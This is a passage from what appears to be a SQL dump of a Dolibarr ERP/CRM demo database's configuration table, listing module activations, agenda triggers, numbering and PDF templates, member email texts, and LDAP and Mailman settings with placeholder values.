14:37:16'),(9229,'MAIN_AGENDA_ACTIONAUTO_USER_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9230,'MAIN_AGENDA_ACTIONAUTO_USER_CREATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9231,'MAIN_AGENDA_ACTIONAUTO_USER_MODIFY',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9232,'MAIN_AGENDA_ACTIONAUTO_USER_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9233,'MAIN_AGENDA_ACTIONAUTO_USER_NEW_PASSWORD',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9234,'MAIN_AGENDA_ACTIONAUTO_USER_ENABLEDISABLE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9235,'MAIN_AGENDA_ACTIONAUTO_BOM_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9236,'MAIN_AGENDA_ACTIONAUTO_BOM_UNVALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9237,'MAIN_AGENDA_ACTIONAUTO_BOM_CLOSE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9238,'MAIN_AGENDA_ACTIONAUTO_BOM_REOPEN',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9239,'MAIN_AGENDA_ACTIONAUTO_BOM_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9240,'MAIN_AGENDA_ACTIONAUTO_MRP_MO_VALIDATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9241,'MAIN_AGENDA_ACTIONAUTO_MRP_MO_PRODUCED',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9242,'MAIN_AGENDA_ACTIONAUTO_MRP_MO_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9243,'MAIN_AGENDA_ACTIONAUTO_MRP_MO_CANCEL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9244,'MAIN_AGENDA_ACTIONAUTO_HOLIDAY_MODIFY',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9245,'MAIN_AGENDA_ACTIONAUTO_HOLIDAY_CANCEL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9246,'MAIN_AGENDA_ACTIONAUTO_HOLIDAY_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9247,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTJOBPOSITION_CREATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9248,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTJOBPOSITION_MODIFY',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9249,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTJOBPOSITION_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9250,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTJOBPOSITION_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9251,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTCANDIDATURE_CREATE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9252,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTCANDIDATURE_MODIFY',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9253,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTCANDIDATURE_SENTBYMAIL',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9254,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTCANDIDATURE_DELETE',1,'1','chaine',0,'','2022-02-07 14:37:16'),(9293,'RECRUITMENT_RECRUITMENTJOBPOSITION_ADDON',1,'mod_recruitmentjobposition_standard','chaine',0,'Name of manager to generate recruitment job position ref number','2022-07-04 01:12:19'),(9294,'RECRUITMENT_RECRUITMENTCANDIDATURE_ADDON',1,'mod_recruitmentcandidature_standard','chaine',0,'Name of manager to generate recruitment candidature ref number','2022-07-04 01:12:19'),(9383,'MAIN_VERSION_LAST_UPGRADE',0,'16.0.0','chaine',0,'Dolibarr version for last upgrade','2022-07-05 08:03:57'),(9387,'MAIN_MODULE_ACCOUNTING',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9388,'MAIN_MODULE_AGENDA',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9389,'MAIN_MODULE_BOM',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9390,'MAIN_MODULE_BANQUE',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9391,'MAIN_MODULE_BARCODE',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9392,'MAIN_MODULE_CRON',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9393,'MAIN_MODULE_COMMANDE',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9394,'MAIN_MODULE_DON',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9395,'MAIN_MODULE_ECM',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9396,'MAIN_MODULE_EXPENSEREPORT',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9397,'MAIN_MODULE_FACTURE',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9398,'MAIN_MODULE_FOURNISSEUR',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9399,'MAIN_MODULE_HOLIDAY',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9400,'MAIN_MODULE_MARGIN',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9403,'MAIN_MODULE_MRP',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9404,'MAIN_MODULE_MRP_TRIGGERS',1,'0','chaine',0,NULL,'2022-07-05 08:07:11'),(9405,'MAIN_MODULE_MRP_LOGIN',1,'0','chaine',0,NULL,'2022-07-05 08:07:11'),(9406,'MAIN_MODULE_MRP_SUBSTITUTIONS',1,'0','chaine',0,NULL,'2022-07-05 08:07:11'),(9407,'MAIN_MODULE_MRP_MENUS',1,'0','chaine',0,NULL,'2022-07-05 08:07:11'),(9408,'MAIN_MODULE_MRP_TPL',1,'0','chaine',0,NULL,'2022-07-05 08:07:11'),(9409,'MAIN_MODULE_MRP_BARCODE',1,'0','chaine',0,NULL,'2022-07-05 08:07:11'),(9410,'MAIN_MODULE_MRP_MODELS',1,'0','chaine',0,NULL,'2022-07-05 08:07:11'),(9411,'MAIN_MODULE_MRP_THEME',1,'0','chaine',0,NULL,'2022-07-05 08:07:11'),(9412,'MAIN_MODULE_MRP_MODULEFOREXTERNAL',1,'0','chaine',0,NULL,'2022-07-05 08:07:11'),(9413,'MAIN_MODULE_OPENSURVEY',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:11'),(9414,'MAIN_MODULE_PRINTING',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:12'),(9415,'MAIN_MODULE_RECRUITMENT',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:12'),(9416,'MAIN_MODULE_RECRUITMENT_TRIGGERS',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9417,'MAIN_MODULE_RECRUITMENT_LOGIN',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9418,'MAIN_MODULE_RECRUITMENT_SUBSTITUTIONS',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9419,'MAIN_MODULE_RECRUITMENT_MENUS',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9420,'MAIN_MODULE_RECRUITMENT_TPL',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9421,'MAIN_MODULE_RECRUITMENT_BARCODE',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9422,'MAIN_MODULE_RECRUITMENT_MODELS',1,'1','chaine',0,NULL,'2022-07-05 08:07:12'),(9423,'MAIN_MODULE_RECRUITMENT_THEME',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9424,'MAIN_MODULE_RECRUITMENT_MODULEFOREXTERNAL',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9425,'MAIN_MODULE_RESOURCE',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:12'),(9426,'MAIN_MODULE_SALARIES',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:12'),(9427,'MAIN_MODULE_SERVICE',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:12'),(9428,'MAIN_MODULE_SYSLOG',0,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:12'),(9429,'MAIN_MODULE_SOCIETE',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:12'),(9430,'MAIN_MODULE_STRIPE',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:12'),(9431,'MAIN_MODULE_TICKET',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:12'),(9432,'MAIN_MODULE_TICKET_TABS_0',1,'thirdparty:+ticket:Tickets:@ticket:$user->rights->ticket->read:/ticket/list.php?socid=__ID__','chaine',0,NULL,'2022-07-05 08:07:12'),(9433,'MAIN_MODULE_TICKET_TABS_1',1,'project:+ticket:Tickets:@ticket:$user->rights->ticket->read:/ticket/list.php?projectid=__ID__','chaine',0,NULL,'2022-07-05 08:07:12'),(9434,'MAIN_MODULE_TICKET_TRIGGERS',1,'1','chaine',0,NULL,'2022-07-05 08:07:12'),(9435,'TAKEPOS_PRINT_METHOD',1,'browser','chaine',0,'','2022-07-05 08:07:12'),(9436,'MAIN_MODULE_TAKEPOS',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:12'),(9437,'MAIN_MODULE_TAKEPOS_TRIGGERS',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9438,'MAIN_MODULE_TAKEPOS_LOGIN',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9439,'MAIN_MODULE_TAKEPOS_SUBSTITUTIONS',1,'1','chaine',0,NULL,'2022-07-05 08:07:12'),(9440,'MAIN_MODULE_TAKEPOS_MENUS',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9441,'MAIN_MODULE_TAKEPOS_THEME',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9442,'MAIN_MODULE_TAKEPOS_TPL',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9443,'MAIN_MODULE_TAKEPOS_BARCODE',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9444,'MAIN_MODULE_TAKEPOS_MODELS',1,'0','chaine',0,NULL,'2022-07-05 08:07:12'),(9445,'MAIN_MODULE_USER',0,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:12'),(9446,'MAIN_MODULE_VARIANTS',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:12'),(9447,'MAIN_MODULE_WEBSITE',1,'1','string',0,'{\"authorid\":\"18\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2022-07-05 08:07:13'),(9449,'MAIN_FIRST_PING_OK_DATE',1,'20220705080715','chaine',0,'','2022-07-05 08:07:15'),(9450,'MAIN_FIRST_PING_OK_ID',1,'0dd1a04e9becaaafb6fbb7a86e945a55','chaine',0,'','2022-07-05 08:07:15'); +INSERT INTO `llx_const` VALUES (8,'MAIN_UPLOAD_DOC',0,'2048','chaine',0,'Max size for file upload (0 means no upload allowed)','2012-07-08 11:17:57'),(9,'MAIN_SEARCHFORM_SOCIETE',0,'1','yesno',0,'Show form for quick company search','2012-07-08 11:17:57'),(10,'MAIN_SEARCHFORM_CONTACT',0,'1','yesno',0,'Show form for quick contact search','2012-07-08 11:17:57'),(11,'MAIN_SEARCHFORM_PRODUITSERVICE',0,'1','yesno',0,'Show form for quick product search','2012-07-08 11:17:58'),(12,'MAIN_SEARCHFORM_ADHERENT',0,'1','yesno',0,'Show form for quick member search','2012-07-08 11:17:58'),(16,'MAIN_SIZE_LISTE_LIMIT',0,'25','chaine',0,'Longueur maximum des listes','2012-07-08 11:17:58'),(29,'MAIN_DELAY_NOT_ACTIVATED_SERVICES',1,'0','chaine',0,'Tolérance de retard avant alerte (en jours) sur services à activer','2012-07-08 11:17:58'),(33,'SOCIETE_NOLIST_COURRIER',0,'1','yesno',0,'Liste les fichiers du repertoire courrier','2012-07-08 11:17:58'),(36,'ADHERENT_MAIL_REQUIRED',1,'1','yesno',0,'EMail required to create a new member','2012-07-08 11:17:58'),(37,'ADHERENT_MAIL_FROM',1,'adherents@domain.com','chaine',0,'Sender EMail for automatic emails','2012-07-08 11:17:58'),(38,'ADHERENT_MAIL_RESIL',1,'Your subscription has been resiliated.\r\nWe hope to see you soon again','html',0,'Mail resiliation','2018-11-23 11:56:07'),(39,'ADHERENT_MAIL_VALID',1,'Your subscription has been validated.\r\nThis is a remind of your personal information :\r\n\r\n%INFOS%\r\n\r\n','html',0,'Mail de validation','2018-11-23 11:56:07'),(40,'ADHERENT_MAIL_COTIS',1,'Hello %PRENOM%,\r\nThanks for your subscription.\r\nThis email confirms that your subscription has been received and processed.\r\n\r\n','html',0,'Mail de validation de cotisation','2018-11-23 11:56:07'),(41,'ADHERENT_MAIL_VALID_SUBJECT',1,'Your subscription has been validated','chaine',0,'Sujet du mail de validation','2012-07-08 11:17:59'),(42,'ADHERENT_MAIL_RESIL_SUBJECT',1,'Resiliating your subscription','chaine',0,'Sujet du mail de resiliation','2012-07-08 11:17:59'),(43,'ADHERENT_MAIL_COTIS_SUBJECT',1,'Receipt of your subscription','chaine',0,'Sujet du mail de validation de cotisation','2012-07-08 11:17:59'),(45,'ADHERENT_USE_MAILMAN',1,'0','yesno',0,'Utilisation de Mailman','2012-07-08 11:17:59'),(46,'ADHERENT_MAILMAN_UNSUB_URL',1,'http://lists.domain.com/cgi-bin/mailman/admin/%LISTE%/members?adminpw=%MAILMAN_ADMINPW%&user=%EMAIL%','chaine',0,'Url de desinscription aux listes mailman','2012-07-08 11:17:59'),(47,'ADHERENT_MAILMAN_URL',1,'http://lists.domain.com/cgi-bin/mailman/admin/%LISTE%/members?adminpw=%MAILMAN_ADMINPW%&send_welcome_msg_to_this_batch=1&subscribees=%EMAIL%','chaine',0,'Url pour les inscriptions mailman','2012-07-08 11:17:59'),(48,'ADHERENT_MAILMAN_LISTS',1,'test-test,test-test2','chaine',0,'Listes auxquelles inscrire les nouveaux adherents','2012-07-08 11:17:59'),(49,'ADHERENT_MAILMAN_ADMIN_PASSWORD',1,'','chaine',0,'Mot de passe Admin des liste mailman','2022-12-11 21:23:35'),(50,'ADHERENT_MAILMAN_SERVER',1,'lists.domain.com','chaine',0,'Serveur hebergeant les interfaces d Admin des listes mailman','2012-07-08 11:17:59'),(51,'ADHERENT_MAILMAN_LISTS_COTISANT',1,'','chaine',0,'Liste(s) auxquelles les nouveaux cotisants sont inscris automatiquement','2012-07-08 11:17:59'),(52,'ADHERENT_USE_SPIP',1,'0','yesno',0,'Utilisation de SPIP ?','2012-07-08 11:17:59'),(53,'ADHERENT_USE_SPIP_AUTO',1,'0','yesno',0,'Utilisation de SPIP automatiquement','2012-07-08 11:17:59'),(54,'ADHERENT_SPIP_USER',1,'user','chaine',0,'user spip','2012-07-08 11:17:59'),(55,'ADHERENT_SPIP_PASS',1,'pass','chaine',0,'Pass de connection','2012-07-08 11:17:59'),(56,'ADHERENT_SPIP_SERVEUR',1,'localhost','chaine',0,'serveur spip','2012-07-08 11:17:59'),(57,'ADHERENT_SPIP_DB',1,'spip','chaine',0,'db spip','2012-07-08 11:17:59'),(58,'ADHERENT_CARD_HEADER_TEXT',1,'%ANNEE%','chaine',0,'Texte imprime sur le haut de la carte adherent','2012-07-08 11:17:59'),(59,'ADHERENT_CARD_FOOTER_TEXT',1,'Association AZERTY','chaine',0,'Texte imprime sur le bas de la carte adherent','2012-07-08 11:17:59'),(61,'FCKEDITOR_ENABLE_USER',1,'1','yesno',0,'Activation fckeditor sur notes utilisateurs','2012-07-08 11:17:59'),(62,'FCKEDITOR_ENABLE_SOCIETE',1,'1','yesno',0,'Activation fckeditor sur notes societe','2012-07-08 11:17:59'),(63,'FCKEDITOR_ENABLE_PRODUCTDESC',1,'1','yesno',0,'Activation fckeditor sur notes produits','2012-07-08 11:17:59'),(64,'FCKEDITOR_ENABLE_MEMBER',1,'1','yesno',0,'Activation fckeditor sur notes adherent','2012-07-08 11:17:59'),(65,'FCKEDITOR_ENABLE_MAILING',1,'1','yesno',0,'Activation fckeditor sur emailing','2012-07-08 11:17:59'),(67,'DON_ADDON_MODEL',1,'html_cerfafr','chaine',0,'','2012-07-08 11:18:00'),(68,'PROPALE_ADDON',1,'mod_propale_marbre','chaine',0,'','2012-07-08 11:18:00'),(69,'PROPALE_ADDON_PDF',1,'azur','chaine',0,'','2012-07-08 11:18:00'),(70,'COMMANDE_ADDON',1,'mod_commande_marbre','chaine',0,'','2012-07-08 11:18:00'),(71,'COMMANDE_ADDON_PDF',1,'einstein','chaine',0,'','2012-07-08 11:18:00'),(72,'COMMANDE_SUPPLIER_ADDON',1,'mod_commande_fournisseur_muguet','chaine',0,'','2012-07-08 11:18:00'),(73,'COMMANDE_SUPPLIER_ADDON_PDF',1,'muscadet','chaine',0,'','2012-07-08 11:18:00'),(74,'EXPEDITION_ADDON',1,'enlevement','chaine',0,'','2012-07-08 11:18:00'),(76,'FICHEINTER_ADDON',1,'pacific','chaine',0,'','2012-07-08 11:18:00'),(77,'FICHEINTER_ADDON_PDF',1,'soleil','chaine',0,'','2012-07-08 11:18:00'),(79,'FACTURE_ADDON_PDF',1,'crabe','chaine',0,'','2012-07-08 11:18:00'),(80,'PROPALE_VALIDITY_DURATION',1,'15','chaine',0,'Durée de validitée des propales','2012-07-08 11:18:00'),(230,'COMPANY_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/thirdparties','chaine',0,NULL,'2012-07-08 11:26:20'),(238,'LIVRAISON_ADDON_PDF',1,'typhon','chaine',0,'Nom du gestionnaire de generation des commandes en PDF','2012-07-08 11:26:27'),(239,'DELIVERY_ADDON_NUMBER',1,'mod_delivery_jade','chaine',0,'Nom du gestionnaire de numerotation des bons de livraison','2020-12-10 12:24:40'),(245,'FACTURE_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/invoices','chaine',0,NULL,'2012-07-08 11:28:53'),(249,'DON_FORM',1,'html_cerfafr','chaine',0,'Nom du gestionnaire de formulaire de dons','2017-09-06 16:12:22'),(254,'ADHERENT_BANK_ACCOUNT',1,'','chaine',0,'ID du Compte banquaire utilise','2012-07-08 11:29:05'),(255,'ADHERENT_BANK_CATEGORIE',1,'','chaine',0,'ID de la categorie banquaire des cotisations','2012-07-08 11:29:05'),(256,'ADHERENT_ETIQUETTE_TYPE',1,'L7163','chaine',0,'Type d etiquette (pour impression de planche d etiquette)','2012-07-08 11:29:05'),(269,'PROJECT_ADDON_PDF',1,'baleine','chaine',0,'Nom du gestionnaire de generation des projets en PDF','2012-07-08 11:29:33'),(270,'PROJECT_ADDON',1,'mod_project_simple','chaine',0,'Nom du gestionnaire de numerotation des projets','2012-07-08 11:29:33'),(369,'EXPEDITION_ADDON_PDF',1,'merou','chaine',0,'','2012-07-08 22:58:07'),(377,'FACTURE_ADDON',1,'mod_facture_terre','chaine',0,'','2012-07-08 23:08:12'),(380,'ADHERENT_CARD_TEXT',1,'%TYPE% n° %ID%\r\n%PRENOM% %NOM%\r\n<%EMAIL%>\r\n%ADRESSE%\r\n%CP% %VILLE%\r\n%PAYS%','',0,'Texte imprime sur la carte adherent','2012-07-08 23:14:46'),(381,'ADHERENT_CARD_TEXT_RIGHT',1,'aaa','',0,'','2012-07-08 23:14:55'),(386,'STOCK_CALCULATE_ON_SHIPMENT',1,'1','chaine',0,'','2012-07-08 23:23:21'),(387,'STOCK_CALCULATE_ON_SUPPLIER_DISPATCH_ORDER',1,'1','chaine',0,'','2012-07-08 23:23:26'),(392,'MAIN_AGENDA_XCAL_EXPORTKEY',1,'dolibarr','chaine',0,'','2012-07-08 23:27:50'),(393,'MAIN_AGENDA_EXPORT_PAST_DELAY',1,'100','chaine',0,'','2012-07-08 23:27:50'),(610,'CASHDESK_ID_THIRDPARTY',1,'7','chaine',0,'','2012-07-11 17:08:18'),(611,'CASHDESK_ID_BANKACCOUNT_CASH',1,'3','chaine',0,'','2012-07-11 17:08:18'),(612,'CASHDESK_ID_BANKACCOUNT_CHEQUE',1,'1','chaine',0,'','2012-07-11 17:08:18'),(613,'CASHDESK_ID_BANKACCOUNT_CB',1,'1','chaine',0,'','2012-07-11 17:08:18'),(614,'CASHDESK_ID_WAREHOUSE',1,'2','chaine',0,'','2012-07-11 17:08:18'),(660,'LDAP_USER_DN',1,'ou=users,dc=my-domain,dc=com','chaine',0,NULL,'2012-07-18 10:25:27'),(661,'LDAP_GROUP_DN',1,'ou=groups,dc=my-domain,dc=com','chaine',0,NULL,'2012-07-18 10:25:27'),(662,'LDAP_FILTER_CONNECTION',1,'&(objectClass=user)(objectCategory=person)','chaine',0,NULL,'2012-07-18 10:25:27'),(663,'LDAP_FIELD_LOGIN',1,'uid','chaine',0,NULL,'2012-07-18 10:25:27'),(664,'LDAP_FIELD_FULLNAME',1,'cn','chaine',0,NULL,'2012-07-18 10:25:27'),(665,'LDAP_FIELD_NAME',1,'sn','chaine',0,NULL,'2012-07-18 10:25:27'),(666,'LDAP_FIELD_FIRSTNAME',1,'givenname','chaine',0,NULL,'2012-07-18 10:25:27'),(667,'LDAP_FIELD_MAIL',1,'mail','chaine',0,NULL,'2012-07-18 10:25:27'),(668,'LDAP_FIELD_PHONE',1,'telephonenumber','chaine',0,NULL,'2012-07-18 10:25:27'),(669,'LDAP_FIELD_FAX',1,'facsimiletelephonenumber','chaine',0,NULL,'2012-07-18 10:25:27'),(670,'LDAP_FIELD_MOBILE',1,'mobile','chaine',0,NULL,'2012-07-18 10:25:27'),(671,'LDAP_SERVER_TYPE',1,'openldap','chaine',0,'','2012-07-18 10:25:46'),(672,'LDAP_SERVER_PROTOCOLVERSION',1,'3','chaine',0,'','2012-07-18 10:25:47'),(673,'LDAP_SERVER_HOST',1,'localhost','chaine',0,'','2012-07-18 10:25:47'),(674,'LDAP_SERVER_PORT',1,'389','chaine',0,'','2012-07-18 10:25:47'),(675,'LDAP_SERVER_USE_TLS',1,'0','chaine',0,'','2012-07-18 10:25:47'),(676,'LDAP_SYNCHRO_ACTIVE',1,'dolibarr2ldap','chaine',0,'','2012-07-18 10:25:47'),(677,'LDAP_CONTACT_ACTIVE',1,'1','chaine',0,'','2012-07-18 10:25:47'),(678,'LDAP_MEMBER_ACTIVE',1,'1','chaine',0,'','2012-07-18 10:25:47'),(974,'MAIN_MODULE_WORKFLOW_TRIGGERS',1,'1','chaine',0,NULL,'2013-07-18 18:02:20'),(975,'WORKFLOW_PROPAL_AUTOCREATE_ORDER',1,'1','chaine',0,'','2013-07-18 18:02:24'),(980,'PRELEVEMENT_NUMERO_NATIONAL_EMETTEUR',1,'1234567','chaine',0,'','2013-07-18 18:05:50'),(983,'FACTURE_RIB_NUMBER',1,'1','chaine',0,'','2013-07-18 18:35:14'),(984,'FACTURE_CHQ_NUMBER',1,'1','chaine',0,'','2013-07-18 18:35:14'),(1016,'GOOGLE_DUPLICATE_INTO_GCAL',1,'1','chaine',0,'','2013-07-18 21:40:20'),(1152,'SOCIETE_CODECLIENT_ADDON',1,'mod_codeclient_monkey','chaine',0,'','2013-07-29 20:50:02'),(1248,'MAIN_LOGEVENTS_GROUP_CREATE',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1249,'MAIN_LOGEVENTS_GROUP_MODIFY',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1250,'MAIN_LOGEVENTS_GROUP_DELETE',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1251,'MAIN_BOXES_MAXLINES',1,'5','',0,'','2013-07-29 21:05:42'),(1482,'EXPEDITION_ADDON_NUMBER',1,'mod_expedition_safor','chaine',0,'Nom du gestionnaire de numerotation des expeditions','2013-08-05 17:53:11'),(1490,'CONTRACT_ADDON',1,'mod_contract_serpis','chaine',0,'Nom du gestionnaire de numerotation des contrats','2013-08-05 18:11:58'),(1677,'COMMANDE_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/orders','chaine',0,NULL,'2014-12-08 13:11:02'),(1724,'PROPALE_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/proposals','chaine',0,NULL,'2014-12-08 13:17:14'),(1730,'OPENSTREETMAP_ENABLE_MAPS',1,'1','chaine',0,'','2014-12-08 13:22:47'),(1731,'OPENSTREETMAP_ENABLE_MAPS_CONTACTS',1,'1','chaine',0,'','2014-12-08 13:22:47'),(1732,'OPENSTREETMAP_ENABLE_MAPS_MEMBERS',1,'1','chaine',0,'','2014-12-08 13:22:47'),(1733,'OPENSTREETMAP_MAPS_ZOOM_LEVEL',1,'15','chaine',0,'','2014-12-08 13:22:47'),(1742,'MAIN_MAIL_EMAIL_FROM',2,'dolibarr-robot@domain.com','chaine',0,'EMail emetteur pour les emails automatiques Dolibarr','2014-12-08 14:08:14'),(1743,'MAIN_MENU_STANDARD',2,'eldy_menu.php','chaine',0,'Module de gestion de la barre de menu du haut pour utilisateurs internes','2015-02-11 19:43:54'),(1744,'MAIN_MENUFRONT_STANDARD',2,'eldy_menu.php','chaine',0,'Module de gestion de la barre de menu du haut pour utilisateurs externes','2015-02-11 19:43:54'),(1745,'MAIN_MENU_SMARTPHONE',2,'iphone_backoffice.php','chaine',0,'Module de gestion de la barre de menu smartphone pour utilisateurs internes','2014-12-08 14:08:14'),(1746,'MAIN_MENUFRONT_SMARTPHONE',2,'iphone_frontoffice.php','chaine',0,'Module de gestion de la barre de menu smartphone pour utilisateurs externes','2014-12-08 14:08:14'),(1747,'MAIN_THEME',2,'eldy','chaine',0,'Default theme','2014-12-08 14:08:14'),(1748,'MAIN_DELAY_ACTIONS_TODO',2,'7','chaine',0,'Tolérance de retard avant alerte (en jours) sur actions planifiées non réalisées','2014-12-08 14:08:14'),(1749,'MAIN_DELAY_ORDERS_TO_PROCESS',2,'2','chaine',0,'Tolérance de retard avant alerte (en jours) sur commandes clients non traitées','2014-12-08 14:08:14'),(1750,'MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS',2,'7','chaine',0,'Tolérance de retard avant alerte (en jours) sur commandes fournisseurs non traitées','2014-12-08 14:08:14'),(1751,'MAIN_DELAY_PROPALS_TO_CLOSE',2,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur propales à cloturer','2014-12-08 14:08:14'),(1752,'MAIN_DELAY_PROPALS_TO_BILL',2,'7','chaine',0,'Tolérance de retard avant alerte (en jours) sur propales non facturées','2014-12-08 14:08:14'),(1753,'MAIN_DELAY_CUSTOMER_BILLS_UNPAYED',2,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur factures client impayées','2014-12-08 14:08:14'),(1754,'MAIN_DELAY_SUPPLIER_BILLS_TO_PAY',2,'2','chaine',0,'Tolérance de retard avant alerte (en jours) sur factures fournisseur impayées','2014-12-08 14:08:14'),(1755,'MAIN_DELAY_NOT_ACTIVATED_SERVICES',2,'0','chaine',0,'Tolérance de retard avant alerte (en jours) sur services à activer','2014-12-08 14:08:14'),(1756,'MAIN_DELAY_RUNNING_SERVICES',2,'0','chaine',0,'Tolérance de retard avant alerte (en jours) 